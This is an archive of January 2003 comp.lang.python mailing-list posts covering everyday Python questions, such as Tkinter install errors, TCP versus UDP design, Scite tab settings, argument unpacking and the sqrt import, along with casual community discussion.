From arivu at qmaxtest.com  Thu Jan  9 01:44:22 2003
From: arivu at qmaxtest.com (Arivazhagan)
Date: 8 Jan 2003 22:44:22 -0800
Subject: Problem in using SoftICE after running a python program.
Message-ID: <c8476101.0301082244.1eed1597@posting.google.com>

Hi,

   We are unable to use Softice for debugging driver programs after
running python program. After restarting only this problem gets
solved. Is any one aware of this or is there any way to avoid this?
Please help.

Thanl you in Advance.
regards
B.Arivazhagan



From wyojustin at hotmail.com  Sun Jan 19 13:18:20 2003
From: wyojustin at hotmail.com (Justin Shaw)
Date: Sun, 19 Jan 2003 13:18:20 -0500
Subject: Can you obtain names from parent scope?
References: <850fb3a6.0301170751.488179c6@posting.google.com>
Message-ID: <3SGdne2fxc5wdrejXTWcoQ@comcast.com>

"Will Sadkin" <wsadkin at nameconnector.com> wrote in message
news:850fb3a6.0301170751.488179c6 at posting.google.com...
> I want to write a function that takes an arbitrary set of objects,
> and prints them in the form "name = <value>."  That is, I want to be
> able to say:
>
> >>> a = 'hi!'
> >>> dbgval(a)
> a = hi!
> >>> b = 2
> >>> dbgval(b)
> b = 2
>

Will,
I was curoius about this myself.  You post got me to dive in.  It looks like
inspect will work with linecache to get the result you want.  I grab the
calling line and get the variable name from a regx.  Right now it only works
for a single arg but the extension is obvious.

Good luck
Justin

----------------- Solution ---------------------

import inspect
import linecache
import sre
regx = sre.compile('dbgprint\((\w*)\)')

def dbgprint(var):
    '''Print the name of var with its value in the callers scope'''

    # Clear to be on the safe side.  If the code is not being edited you
don't need this.
    linecache.clearcache()
    f = inspect.currentframe(1)
    file = inspect.getfile(f)
    lnum = f.f_lineno
    line = lc.getline(file, lnum)
    match = regx.search(line)
    if match:
        print '%s = %s' % (match.group(1), var)
    else:
        # bail and just print var
        print var

a = 5
dbgprint(a)






From jsaul at gmx.de  Sun Jan 19 07:41:04 2003
From: jsaul at gmx.de (jsaul)
Date: Sun, 19 Jan 2003 13:41:04 +0100
Subject: Overloading methods in C API
In-Reply-To: <slrnb2jqiv.91m.grante@localhost.localdomain>
References: <2ufi2vkrpg6rikt5sv0tf5f8klfruerqlg@4ax.com> <m33cnq4qqr.fsf@mira.informatik.hu-berlin.de> <bsoi2v4rokh97unbdnfa9pndd8cctjd6ru@4ax.com> <slrnb2itok.8di.grante@localhost.localdomain> <Xns9307CD595EDCBrcamesz@amesz.demon.nl> <slrnb2jcl0.8mr.grante@localhost.localdomain> <b0cdjh$nsnhe$1@ID-71831.news.dfncis.de> <slrnb2jqiv.91m.grante@localhost.localdomain>
Message-ID: <20030119124104.GB840@jsaul.de>

* Grant Edwards [2003-01-19 00:54]:
> In article <b0cdjh$nsnhe$1 at ID-71831.news.dfncis.de>, James Kew wrote:
>
> >> For whatever historical reasons, operator overloading and
> >> function/method overloading are usually considered as two separate
> >> language features.  C and python have the former but not the latter.
> >
> > *cough* C has neither.
>
> Nonsense.  The operators + - * / do different things depending on the types
> of their operands.  That's operator overloading.

Can you overload, say, the '*' operator to support multiplication
of matrices or complex numbers in C as you can in both Python and
C++? Obviously you can't. But you still call it 'operator
overloading'?

Cheers, jsaul
-- 
Palo pa'que aprenda que aqu? s? hay honor!
[Rub?n Blades]



From jerf at compy.attbi.com  Mon Jan 27 00:12:20 2003
From: jerf at compy.attbi.com (jerf at compy.attbi.com)
Date: Mon, 27 Jan 2003 05:12:20 GMT
Subject: Python newbie looking into communications...
References: <ELHY9.123260$GF.30808722@twister.columbus.rr.com> <3E3354E0.8225F233@engcorp.com> <xIXY9.125569$GF.31647688@twister.columbus.rr.com>
Message-ID: <pan.2003.01.27.00.12.15.881159@compy.attbi.com>

On Sun, 26 Jan 2003 20:39:57 +0000, Sam Marrocco wrote:
> If the Controller was a TCP Server and the nodes were TCP Clients, the 
> Controller/server had to be running first, then the Nodes/Clients. If 
> the Controller/Server was restarted (which happens often)then things 
> went awry. 

Since you said you were new to networking, I would point out that there
isn't really a such thing as "TCP Server" or "TCP Client". The
communication protocol itself is "peer-to-peer", long before that became a
meaningless buzz word. You are using the terms correctly and I know what
you mean, but it's importent that your concept of "TCP" itself does not
include "server" or "client", that's a function of how you use the
protocol. Only "initiator" and "receiver" really matter.

If your computers are known to be on the same network, you may be able to
Broadcast stuff, too, such as requests from a "client" for a server to
identify itself. I've never done this, and it will only work for stuff on
the same network, so I don't want to go any further into this unless you
say that it's on the same network, because I'd have to go research it
myself.

> Also, the Nodes/clients do not necessarily know *who* the 
> Controller/Server is, so they receive that information within their data 
> from the Controller/Server--then send info back to that machine. Nodes 
> and Controller can be rebooted at any time, and the apps restarted.

TCP connections will notify you when they have been terminated for any
reason. Exactly when that happens depends on the exact parameters of the
connection and the underlying network API. You can easily re-try the
previous server address every so often, or have the server try to
reconnect to its clients after a reboot.

In fact, for the sake of robustness, you need to have this stuff anyhow,
unless they are all sitting on the same well-maintained LAN. The Internet
periodically burps no matter how good your programming is.

Additionally, there is no crime with establishing a TCP connection on each
request, as long as you aren't sending too many, too often. (If you are,
then the overhead starts to swamp the cost of sending the data in the
first place.)

> When I started playing with UDP, I realized that, yes, the "lack of 
> guarantee" that the data would get there was an issue--which I could 
> correct for by including acknowledgments and a little handshaking 
> between machines. But it seemed well worth it for the ability to have a 
> "server-less" communications arrangement that didn't gag when the server 
> machine disappeared.

When the server machine disappears, the connection gags no matter what.
TCP lets you detect that without writing the detection routine. UDP
requires you to write it. And don't forget the hairy problem of when the
ack is sent but the original sender doesn't receive the ack!

> UDP peer-peer comm seemed a worthy compromise. 

It's this sentence that prompted the bit above about TCP not being
server-client.

> I'm 
> not dealing with large amounts of data--usually small strings, and they 
> aren't pushed around the network very fast....usually a dialog might be 
> something like:
> 
> Controller: MachineA, run this calculation.
> MachineA: Okay, controller, I'm doing that calculation.
> Controller: Displays information on what MachineA is doing.
> MachineA: Okay, controller, I'm done. Here's the result.
> Controller: Okay MachineA. Displays info.
> process repeats.....
> 
> In my perfect world, all I really wanted was a way to say
> SendToMachine(machinename, data)
> and an event to catch data
> DataReceived(MachineName, data)
> 
> But the most important thing was that any machine on the network could 
> be restarted at any time, *without* having to have a server app always 
> running.

TCP still seems a better choice. Establishing a TCP connection and pumping
out a few packets vs. establishing a UDP connection and pumping out a few
packets (which is how it will look at the API level) is so similar in
programmer cost you're still probably going to come out ahead with TCP.
Either way, you still need to write the SendToMachine function, so who
cares? ;-)

The only scenario where UDP wins is if the network connection is REALLY
intermittent and it truly doesn't matter if a large number of messages are
dropped. You can then eke out an advantage with simply sending lots of UDP
packets and forgetting acks entirely, but that's a rare application. Net
telephony and video streaming and little else.



From riso at softstar.net.cn  Thu Jan 23 10:45:45 2003
From: riso at softstar.net.cn (riso)
Date: Thu, 23 Jan 2003 15:45:45 +0000
Subject: TclError: Can't find a usable init.tcl in the following directories:
In-Reply-To: <3E2F99C3.3080301@maich.gr>
References: <200301230958.05815.riso@softstar.net.cn> <3E2F99C3.3080301@maich.gr>
Message-ID: <200301231546.07375.riso@softstar.net.cn>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

I reinstall tcl (use rpm -ivh tcl-8.3.3-21mdk.rpm), but the error exist...
So, I "locate" the file "init.tcl", it seems the file`s location is right:
[riso at riso-nb client]$ locate init.tcl
/usr/share/tuxracer/courses/common/courseinit.tcl
/usr/share/tuxracer/tuxracer_init.tcl
/usr/lib/tcl8.3/init.tcl                                 <== here
/usr/lib/pentaxpj/BWidget-1.3.1/init.tcl

Why python/tkinter can`t find init.tcl?

thanks.

Nicolas Boretos wrote:
> riso wrote:
> > When I run IDLE , I get the following error:
> >
> > Traceback (most recent call last):
> >   File "/usr/lib/python2.2/site-packages/idle/idle.py", line 4, in ?
> >     PyShell.main()
> >   File "/usr/lib/python2.2/site-packages/idle/PyShell.py", line 747, in
> > main root = Tk(className="Idle")
> >   File "/usr/lib/python2.2/lib-tk/Tkinter.py", line 1487, in __init__
> >     self.tk = _tkinter.create(screenName, baseName, className)
> > TclError: Can't find a usable init.tcl in the following directories:
> >     /usr/lib/tcl8.3
> >
> > I use Mandrake Rpms: (Mandrake 9.0)
> > tcl-8.3.3-21mdk.rpm
> > tk-8.3.3-21mdk.rpm
> > tkinter-2.2.1-14.2mdk.rpm
> > python-2.2.1-14.2mdk.rpm
> >
> > I can`t find how to set the tkinter search path, can someone tell me how
> > to resolve these errors?
> >
> > Thanks
>
> Hi,
>
> This error is usually due to an "incomplete", or non-standard
> installation. Did you compile tcl yourself, if so, make install puts
> things in the right places.
>
> regards,
> nicolas boretos
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (GNU/Linux)

iD8DBQE+MA421y4kFiS1f1ARAuoXAKCVSZ2h49fvd2p7SDkXTmMr5xGaqgCfUDeg
95sBg4uJajEim0eqkzZCd9U=
=jnng
-----END PGP SIGNATURE-----





From notspecified at dev.null  Thu Jan 23 13:48:55 2003
From: notspecified at dev.null (Matt Feinstein)
Date: Thu, 23 Jan 2003 18:48:55 GMT
Subject: Python vs. Matlab
References: <mailman.1043278960.29140.python-list@python.org>
Message-ID: <3e3033c9.22749461@aplnews>

On 22 Jan 2003 18:41:15 -0500, Mongryong <Mongryong at sympatico.ca>
wrote:

>Python vs Matlab (or any other similar language).
>Any opinions on this comparison?  Benchmarks? Functionality?
>One big up for Python is that it's FREE!

I've used Matlab a lot and Python a little--

Matlab does a number of essential things really well:
-- Visualizing, displaying, formatting, and annotating various kinds
of data
-- Linear algebra computations
-- Relatively small compute-it-and-display-it programs
-- Large number of specialized 'toolbox' calculations

Matlab also does a number of important things in a half-assed or ugly
fashion
-- GUIs
-- Object orientation
-- Interface to outside world
-- Non-numerical data structures

I would not bother with trying to get Python to do the things that
Matlab does well. I would be interested in leveraging Python's strong
points in a way that would help to overcome bad parts of Matlab.


Matt Feinstein    does not include his email address
                  in the text of usenet postings.
--------
Harvard Law of Automotive Repair: Anything that goes away
by itself will come back by itself.



From exarkun at intarweb.us  Fri Jan 31 11:10:50 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Fri, 31 Jan 2003 11:10:50 -0500
Subject: thread and linuxaudio
In-Reply-To: <20030131105804.GA19781@csola.ugyvitelszolgaltato.hu>
References: <20030131105804.GA19781@csola.ugyvitelszolgaltato.hu>
Message-ID: <20030131161050.GB6656@meson.dyndns.org>

On Fri, Jan 31, 2003 at 11:58:04AM +0100, Attila Szabo wrote:
> Hi,
> 
> is linuxaudiodev thread-safe ?
> 
> I'm working on a curses interface for postgres and
> I have some multi-thread stuff for example a progress bar.
> It would be a good joke to play music while the query is running
> but it does'nt work.
> 

  If only one of your threads is making calls in linuxaudiodev, there
shouldn't be a problem.

  linuxaudiodev.c doesn't seem to have any BEGIN/END_ALLOW_THREADS blocks,
it might be safe to use from different threads simultaniously (though what
happens as a result probably depends on your sound driver).  I wouldn't
recommend doing this.

  Jp

-- 
C/C++/Java/Perl/Python/Smalltalk/PHP/ASP/XML/Linux (User+Admin)
Genetic Algorithms/Genetic Programming/Neural Networks
Networking/Multithreading/Legacy Code Maintenance/OpenGL
See my complete resume at http://intarweb.us:8080/
-- 
 up 46 days, 7:49, 5 users, load average: 0.55, 0.34, 0.16
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030131/591caebb/attachment.sig>

From padraig.brady at corvil.com  Tue Jan  7 07:25:28 2003
From: padraig.brady at corvil.com (Padraig Brady)
Date: Tue, 07 Jan 2003 12:25:28 +0000
Subject: iteration over methods
In-Reply-To: <3E1AC41C.4080106@aon.at>
References: <3E1AB7B3.4050404@aon.at> <3E1ABCDA.7000209@corvil.com> <3E1AC41C.4080106@aon.at>
Message-ID: <3E1AC738.6010104@corvil.com>

Well then, how about:

class baseClass:
     def method1(self):
         print "Base1"
     def method3(self):
         print "Base2"

class Someclass(baseClass):
     def __init__(self):
         pass
     def method1(self):
         print "Sub1"
     def method2(self):
         print "Sub2"
     def runallmethods(self):
         for name in dir(self):
             if name[0:6] == 'method':
                 getattr(self, name)()

mc = Someclass()
mc.runallmethods()

P?draig.




From zeev at clockwise3d.com  Thu Jan 16 09:34:19 2003
From: zeev at clockwise3d.com (Zeev Hadar)
Date: Thu, 16 Jan 2003 16:34:19 +0200
Subject: Custom Code Block
Message-ID: <b06g8c$dke$1@news2.netvision.net.il>

I would like to add my own custom code block as part of my python C++
extension.



I'm using Python 2.2 version as a script language for my engine and I have
wrote same python extensions in C++ for it.



I would like to add my own special code block that gives me control over the
execution:

For example - python code:



def MyFunc():

            x = 5

            MySpecialBlock:

                        x = x+1

                        print x

            print "func end"



Or alternatively:



def MyFunc(arg1):

            x = 5

            MySpecialBlock(arg1,arg2):

                        x = x+1

                        print x

            print "func end"



Where "MySpecialBlock" is coded in C++ as part of my python extension, and
gives me control over the execution of its following code block.



I need to execute some actions before and after running this code block and
control whether to run it or not at all.





Please direct me for how to achieve it in Python extension.



Regards Zeev Hadar





From dale at riverhall.NOTHANKS.co.uk  Sat Jan 11 11:42:51 2003
From: dale at riverhall.NOTHANKS.co.uk (Dale Strickland-Clark)
Date: Sat, 11 Jan 2003 16:42:51 +0000
Subject: Scintilla / Scite tabs formatting mystery.
Message-ID: <3th02v48lkh3rrf4lu5jlu6118jb8c9v7t@4ax.com>

I've had quite a good hunt around now trying to understand this and
I've failed.

I've toyed with switching to Scite from PythonWin as my primary Python
editor because I like the way it does a few things - like the tabbar. 

However, in spite of setting all style fonts to mono-spaced I can't
get a tab to occupy the same width as 4 spaces. This means that text
that lines up nicely in Scite is all to cock in other editors.

I think I've set the tabs up right:
# Indentation
tabsize=4
indent.size=4
use.tabs=1

So that leaves the styles.

This is the relevant extract from the Python.properties file:

# Python styles - this doesn't do anything, as far as I can see.
style.python.*=fore:#000000,$(font.monospace)
# White space
style.python.0=fore:#808080,$(font.monospace)
# Comment
style.python.1=fore:#F000F0,$(font.monospace)
# Number
style.python.2=fore:#007F7F,$(font.monospace)
# String
style.python.3=fore:#00A070,$(font.monospace)
# Single quoted string
style.python.4=fore:#A07000,$(font.monospace)
# Keyword
style.python.5=fore:#00007F,bold,$(font.monospace)
# Triple quotes
style.python.6=fore:#007F00,$(font.monospace)
# Triple double quotes
style.python.7=fore:#007F00,$(font.monospace)
# Class name definition
style.python.8=fore:#0000FF,bold,$(font.monospace)
# Function or method name definition
style.python.9=fore:#007F7F,bold,$(font.monospace)
# Operators
style.python.10=fore:#FF0000,bold,$(font.monospace)
# Identifiers
style.python.11=fore:#00007F,$(font.monospace)
# Comment-blocks
style.python.12=fore:#909090,$(font.monospace)
# End of line where string is not closed
style.python.13=fore:#000000,$(font.monospace),back:#E0C0E0,eolfilled
# Matched Operators
style.python.34=fore:#0000FF,bold,$(font.monospace)
style.python.35=fore:#FF0000,bold,$(font.monospace)
# Braces are only matched in operator style
braces.python.style=10

What have I got wrong? 

Any pointers appreciated.


--
Dale Strickland-Clark
Riverhall Systems Ltd



From tdelaney at avaya.com  Thu Jan 16 01:51:44 2003
From: tdelaney at avaya.com (Delaney, Timothy)
Date: Thu, 16 Jan 2003 17:51:44 +1100
Subject: [ann] Minimal Python project
Message-ID: <B43D149A9AB2D411971300B0D03D7E8B02943521@natasha.auslabs.avaya.com>

> From: Paul Rubin [mailto:phr-n2002b at NOSPAMnightsong.com.avaya.com]
> 
> Do you have some other examples that really get used often?  I'd think
> f_lineno's don't get used that often.

OTOH, when f_lineno *does* get used, it is *vital* that it has excellent
performance.

Why? Because it gets used in things like code coverage tools, where it is
used for every single call to the trace function.

You do not want to add more overhead to things like coverage tools.

Tim Delaney




From Gareth.McCaughan at pobox.com  Wed Jan 22 17:35:34 2003
From: Gareth.McCaughan at pobox.com (Gareth McCaughan)
Date: Wed, 22 Jan 2003 22:35:34 +0000
Subject: Python use growing or shrinking
References: <v2rhpd4d6p8f79@corp.supernews.com> <3E2DD270.8CB2FA4A@engcorp.com> <20030121233331.GA4356@pedos.es> <mailman.1043200119.17462.python-list@python.org> <7h3adhtjsr3.fsf@pc150.maths.bris.ac.uk>
Message-ID: <slrnb2u75m.2ufg.Gareth.McCaughan@g.local>

Michael Hudson wrote:
>  Francois Pinard <pinard at iro.umontreal.ca> writes:
>  
> > [Grzegorz Adam Hankiewicz]
> > 
> > > Do you have a link to a Turing-Complete language? I have here some
> > > text to process of infinite lentgh... <wink>
> > 
> > Here is a far less demanding exercise.  Merely print ackerman(4, 4):
>  
>  Apropos of not much at all, does anyone know if anyone has ever
>  constructed a language that only allows one to evaluate primitive
>  recursive functions?

Yes. Douglas Hofstadter, in "Goedel, Escher, Bach", describes
a language called BlooP, which has this property. Its only
iterating construct is a bounded loop, and it doesn't permit
recursion. (Specifically, a procedure may call only procedures
that have already been defined.)

Eric Raymond has an implementation of BlooP in his "Retrocomputing
Museum", at http://catb.org/~esr/retro/ .

-- 
Gareth McCaughan  Gareth.McCaughan at pobox.com
.sig under construc



From cavada at irst.itc.it  Fri Jan 24 08:13:36 2003
From: cavada at irst.itc.it (Roberto Cavada)
Date: Fri, 24 Jan 2003 14:13:36 +0100
Subject: Unrolling of actual parameters from list
Message-ID: <3E313C00.6070507@irst.itc.it>

Hi there,
  consider this class definition:

class Foo:
   def __init__(self, a, b):
     # do something
     return
   pass # end of class


Suppose now you want to create a Foo instance by passing a *list* of 
actual parameters:

l = [10,20]
foo = Foo(l)  # this - as you can guess - does not work

Is there a way to do that?
Thanks,
  rob

-- 
------------------------------------------------------
Roberto Cavada
ITC-irst Institute for Scientific and Technological Research
Automated Reasoning Systems - Formal Methods Group
Via Sommarive, 18 - 38050 Povo (TN) - Italy
Tel: +39 0461 314 321   Fax: +39 0461 302 040
cavada at irst.itc.it  http://sra.itc.it/people/cavada/
------------------------------------------------------





From tjreedy at udel.edu  Wed Jan  8 09:46:58 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Wed, 8 Jan 2003 09:46:58 -0500
Subject: Python vs .Net
References: <mailman.1042002854.10321.python-list@python.org>
Message-ID: <sxidnT2fH9DApIGjXTWcpQ@comcast.com>

"Brian Quinlan" <brian at sweetapp.com> wrote in message
news:mailman.1042002854.10321.python-list at python.org...
> VB was engaging in weak typing. Python is strongly typed. In Python
you
> can't get a string to act like an integer without an explicit cast.

To be exact, it's an explicit *conversion* to a new object, not a
recasting of the same object in a different role.  Except for
rebinding of __class__, where allowed, Python does not have 'casts' in
the C sense.

TJR





From trentm at ActiveState.com  Fri Jan 24 16:20:17 2003
From: trentm at ActiveState.com (Trent Mick)
Date: Fri, 24 Jan 2003 13:20:17 -0800
Subject: Help compiling python on HPUX
In-Reply-To: <Xns930D74A3B3D60ID134675userdfncisd@130.133.1.4>; from plusk@radford.edu on Fri, Jan 24, 2003 at 04:27:59PM +0000
References: <Xns930D74A3B3D60ID134675userdfncisd@130.133.1.4>
Message-ID: <20030124132017.J28112@ActiveState.com>

[Paul D. Lusk wrote]
> A Google search showed that this problem could be fixed by linking libcl.2 
> in when building python, but I don't know where to change the makefile to 
> do this. (My C and makefile knowledge is limited, although I did manage to 
> compile GCC 3.2 and python 2.2.2 on my Mandrake 8.2 machine).

When you run Python's configure script try adding this option:
    --with-libs='-lcl'

Trent

-- 
Trent Mick
TrentM at ActiveState.com




From timr at probo.com  Mon Jan 20 23:49:46 2003
From: timr at probo.com (Tim Roberts)
Date: Mon, 20 Jan 2003 20:49:46 -0800
Subject: data bound controls/Boa
References: <Is_V9.440$TM2.220@newssvr19.news.prodigy.com> <tchk2vsf74h450mckj1utagsdefd10nbao@4ax.com> <slrnb2ks63.1gd.davecook@localhost.localdomain>
Message-ID: <69kp2v0aicj33jfaefg82k5uk03vtu8upi@4ax.com>

"David M. Cook" <davecook at nowhere.net> wrote:

>In article <tchk2vsf74h450mckj1utagsdefd10nbao at 4ax.com>, Tim Roberts wrote:
>
>> Complicated question.  Python doesn't have any native GUI, so there's no
>> such thing as a "control".  There are add-in modules like wxPython or
>> tkInter that give you a GUI interface.  None of them have bound controls
>> built-in, although you could build one if you wanted.
>
>wxPython 2.4 does have a "wxDbGrid class for displaying ODBC tables"
>according to the changes file.  I don't know anything else about it.

wxWindows 2.4 has a wxDbGrid control, but I don't believe it is exposed in
wxPython.  None of the ODBC functionality in wxWindows is exposed, because
it would duplicate the excellent database classes that already exists, in a
non-compatible way.
-- 
- Tim Roberts, timr at probo.com
  Providenza & Boekelheide, Inc.



From tjreedy at udel.edu  Tue Jan 28 14:43:46 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Tue, 28 Jan 2003 14:43:46 -0500
Subject: Dumb Q #1
References: <3e35fde8_3@corp.newsgroups.com> <pHsZ9.94111$0v.2743842@news1.tin.it>
Message-ID: <w3mdnZvF3tVtQ6ujXTWcpQ@comcast.com>

"Alex Martelli" <aleax at aleax.it> wrote in message
news:pHsZ9.94111$0v.2743842 at news1.tin.it...
> Don't use built-in names of types, such as "file", "list",
> "tuple", etc, to name your own variables: get into the habit
> of naming them in significant ways, or, worst case, at least
> use "aFile", "someList", etc.

I agree.  Python newcomers should ignore and not imitate such usages
in older code, such as in some of the standard library modules, which
were written before the new builtins were added (in 2.2) (or written
by people who had not yet changed old habits), and which hvd not yet
been updated.  The same goes for other anachronisms, such as listed in
PEP-290.

Terry J. Reedy





From peter at engcorp.com  Sun Jan 12 21:22:33 2003
From: peter at engcorp.com (Peter Hansen)
Date: Sun, 12 Jan 2003 21:22:33 -0500
Subject: pure virtual functions in python
References: <mailman.1042421962.25379.python-list@python.org>
Message-ID: <3E2222E9.B5198404@engcorp.com>

"Delaney, Timothy" wrote:
> 
> > From: polux [mailto:polux2001 at wanadoo.fr]
> >
> > how to emulate them ?
> > I mean, how to force a user to redifine some functions in a derivated
> > class ?
> 
> Most responses have used `NotImplementedError`. This is fine, and useful if
> you want the abstract class to document what methods it defines.
> 
> The other approach is to document what attributes/methods other functions
> require their parameters to have. This achieves the same effect (but throws
> an `AttributeError` rather than a `NotImplementedError`), but is in many
> ways more versatile.

I'm not sure I understand how this would force a subclass to implement
a given method (which is how I understand the phrase "achieves the same
effect").

> I have never used `NotImplementedError` in my python code. Why bother?

If nothing else, because it's more self-documenting... AttributeError
is a relatively common mistake from typos and other bugs.  NotImplementedError
is pretty much unique to situations like the OP describes.

-Peter



From mertz at gnosis.cx  Sat Jan 11 03:13:37 2003
From: mertz at gnosis.cx (Lulu of the Lotus-Eaters)
Date: Sat, 11 Jan 2003 03:13:37 -0500
Subject: Stackless Python, Tail Recursion and Functional Programming
References: <mailman.1042262600.31378.python-list@python.org>
Message-ID: <xI9H+kKkXkKT092yn@gnosis.cx>         

beno <zope at thewebsons.com> wrote previously:
|Someone wrote me from this list advising me to drop my passion for
|functional programming because Python doesn't optimize for it. Then I
|remembered Cameron Laird's *Stackless Python*. Doesn't this take care of
|this problem by converting the stack into a tree, just like XSLT? Doesn't
|that make optimization for tail recursion a cake-walk? And, if so, if I
|implement the necessary changes to my Python distro, can I write recursive
|programs without worrying about optimization problems?

I think someone has found my reference to recursive transition networks,
or Laura's releated one to Markov chains.  As near as I can tell, this
post is a random assemblage of commonly occurring (related) words and
phrases from past c.l.py messages.

Am I right? Do I get a prize for noticing it?

Laird didn't make Stackless.  Stackless doesn't optimize tail recursion.
None of this has anything to do with XSLT.  There's no real connection
between stack trees and recursion.  Etc.

--
---[ to our friends at TLAs (spread the word) ]--------------------------
Echelon North Korea Nazi cracking spy smuggle Columbia fissionable Stego
White Water strategic Clinton Delta Force militia TEMPEST Libya Mossad
---[ Postmodern Enterprises <mertz at gnosis.cx> ]--------------------------





From johnroth at ameritech.net  Sat Jan 11 08:52:13 2003
From: johnroth at ameritech.net (John Roth)
Date: Sat, 11 Jan 2003 08:52:13 -0500
Subject: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <mailman.1042257199.7572.python-list@python.org> <%0TT9.121156$Hs2.11453314@kent.svc.tds.net>
Message-ID: <v208b839c0990d@news.supernews.com>

"Edward K. Ream" <edream at tds.net> wrote in message
news:%0TT9.121156$Hs2.11453314 at kent.svc.tds.net...
> > > This announcement seems to be making a truly remarkable claim,
namely
> > > that one could increase the speed of  C code by recoding it in
Python
> > > and then applying Psycho to it.
>
> > Yep, you can!  It takes a pretty strange piece of code, but it does
> happen.
> > For instance, I've written a key-management protocol in Python, and
it
> > really is faster than the C implementations of the same thing when
certain
> > key functions are fed to psyco.  (of course, this may just say that
I have
> > a better feel for algorithm design)
>
> Even with the caveat about the algorithm, such a result is indeed
"truly
> remarkable".  Thanks for this information.
>
> > For instance, in a dynamic language, you can't know until
> > runtime if some argument to a method has constant type or (better)
> > constant value, but a JIT can discover and use this.  If it does
not,
> > and someone passes it a different type or value, the JIT can then
discover
> > this and compile a new version that handles that type, optimised.
> > Note that the constant value case can't be optimised by a C
compiler,
> > unless the function is inlined, which doesn't happen in big programs
very
> > much because the function will often be in another module.
>
> I was referring to something  like this when I wrote point 1.  Still,
it is
> amazing
> that something like this could be so effective.

The actual proof is in Java runtimes. They all seem to use JIT
compilers,
and they wind up being quite effective at speeding up the pig. And of
course this is nothing new, relational data bases would be a curiosity
if they didn't have query optimizers. They'd just be too darned slow
for general use.

John Roth

> I suppose in time all of
> our
> instincts will be revised by psycho.  Still, I'll believe it when I
see it
> :-)
>
> Edward
>
>





From fredrik at pythonware.com  Tue Jan  7 14:28:25 2003
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 07 Jan 2003 19:28:25 GMT
Subject: newbie: unicode
References: <avdv6k$clp$1@news.online.de> <DPvS9.4982$LY2.288377@newsc.telia.net> <m38yxxnt20.fsf@mira.informatik.hu-berlin.de>
Message-ID: <tTFS9.4812$FF4.290296@newsb.telia.net>

Martin v. L?wis wrote:

> > how are you executing that command?
> >
> > there's no way that piece of code can give that error message,
> > as long as ">>>" is an ordinary Python 2.x interpreter prompt, and
> > you haven't been hacking around in the site configuration files...
>
> You get that error in IDLE.

does IDLE's prompt really qualify as "an ordinary interpreter prompt"
if it doesn't behave properly?

</F>





From xunil at kc-rr.com  Mon Jan 20 13:48:31 2003
From: xunil at kc-rr.com (Sinister Midget)
Date: Mon, 20 Jan 2003 18:48:31 GMT
Subject: my favs
References: <b0gp1r$mec$1@news.ksc.co.th>
Message-ID: <9kstf-b1m.ln1@elstinko.registrado.network.es>

On Mon, 20 Jan 2003 19:11:40 +0700, wichelman at hotmail.com drooled and scribbled:





And good ones, too!

-- 
It is easier to fix Linux than to live with XP.



From jbarham at jbarham.com  Thu Jan 16 22:05:22 2003
From: jbarham at jbarham.com (John E. Barham)
Date: Fri, 17 Jan 2003 03:05:22 GMT
Subject: Can't get sqrt() func to work
References: <fda1f7e0.0301161844.5c236733@posting.google.com>
Message-ID: <SpKV9.50009$sV3.2723071@news3.calgary.shaw.ca>

> I've imported
> both math and cmath and still I can't get that darn function to work.
> What is the problem here?

It's not enough to import math unless you bring the sqrt function into the
global namespace by doing either:
>>> from math import sqrt
>>> sqrt(4)
2.0

or:
>>> import math
>>> math.sqrt(4)
2.0






From hjwidmaier at web.de  Thu Jan 23 06:58:40 2003
From: hjwidmaier at web.de (Hans-Joachim Widmaier)
Date: 23 Jan 2003 03:58:40 -0800
Subject: The "beauty" of date arithmetic
References: <6e990e29.0301222352.2ebb5c1e@posting.google.com>
Message-ID: <6e990e29.0301230358.9432378@posting.google.com>

Argh! I hate it when there are typos in the subject line. And making
them by myself doesn't help at all ...

I'm really sorry, folks.

Hans-Joachim



From lac at strakt.com  Sat Jan 25 17:25:51 2003
From: lac at strakt.com (Laura Creighton)
Date: Sat, 25 Jan 2003 23:25:51 +0100
Subject: Illegal literal or not? 
In-Reply-To: Message from Peter Hansen <peter@engcorp.com> 
   of "Sat, 25 Jan 2003 16:46:06 EST." <3E33059E.EDA605DD@engcorp.com> 
References: <_RfY9.862$d66.98244@newsread1.prod.itd.earthlink.net> <dGrM+ks/KrEc089yn@the-wire.com> <3E32E570.63A1AEAC@engcorp.com> <mailman.1043525566.22875.python-list@python.org> <3E33059E.EDA605DD@engcorp.com> 
Message-ID: <200301252225.h0PMPqjL003188@ratthing-b246.strakt.com>

> Gerrit Holl wrote:
> > 
> > Peter Hansen schreef op zaterdag 25 januari om 20:32:03 +0000:
> > > Mel Wilson wrote:
> > > > >>> print "'" + '"' + "Let's try this!" + '"' + ', they said.' + "'"
> > > > >>> print ''.join (["'", '"', "Let's try this!", '"', ', they said.', "
> '"])
> > 
> > > >>> print '"'.join(["'", "Let's try this!", ", they said.'"])
> > > '"Let's try this!", they said.'
> > 
> > >>> print "'"'"'"Let's try this!"'"'', they said.'"'"
> > '"Let's try this!", they said.'
> > 
> > :)
> 
> Oooohh, very slick.  Automatic concatenation of adjacent string
> literals. :-)
> 
> <hat mode="doffed"/>
> 
> -Peter
> -- 
> http://mail.python.org/mailman/listinfo/python-list

I think that it is more readable like this:

>>> print "'" '"' "Let's try this!" '"' ', they said.' "'"
'"Let's try this!", they said.'

Laura Creighton




From max at alcyone.com  Fri Jan 10 19:35:32 2003
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 10 Jan 2003 16:35:32 -0800
Subject: GUI speed
References: <mailman.1042070716.17019.python-list@python.org> <slrnb1pk9b.ga.gerhard.haering@lilith.my-fqdn.de> <slrnb1rtc1.ek.gerhard.haering@lilith.my-fqdn.de> <3e1dfaaa$0$94297$e4fe514c@dreader4.news.xs4all.nl> <avkua5$ib0$1@news.tudelft.nl> <1042205523.49394.0@demeter.uk.clara.net>
Message-ID: <3E1F66D4.CA2938BE@alcyone.com>

Steve Hunt wrote:

> Well that's not really what qua means.  It means "in the role of".

And it's one of those fancy Latin words that's only used in very limited
circumstances.  The only uses I've seen are _sine qua non_ ("without
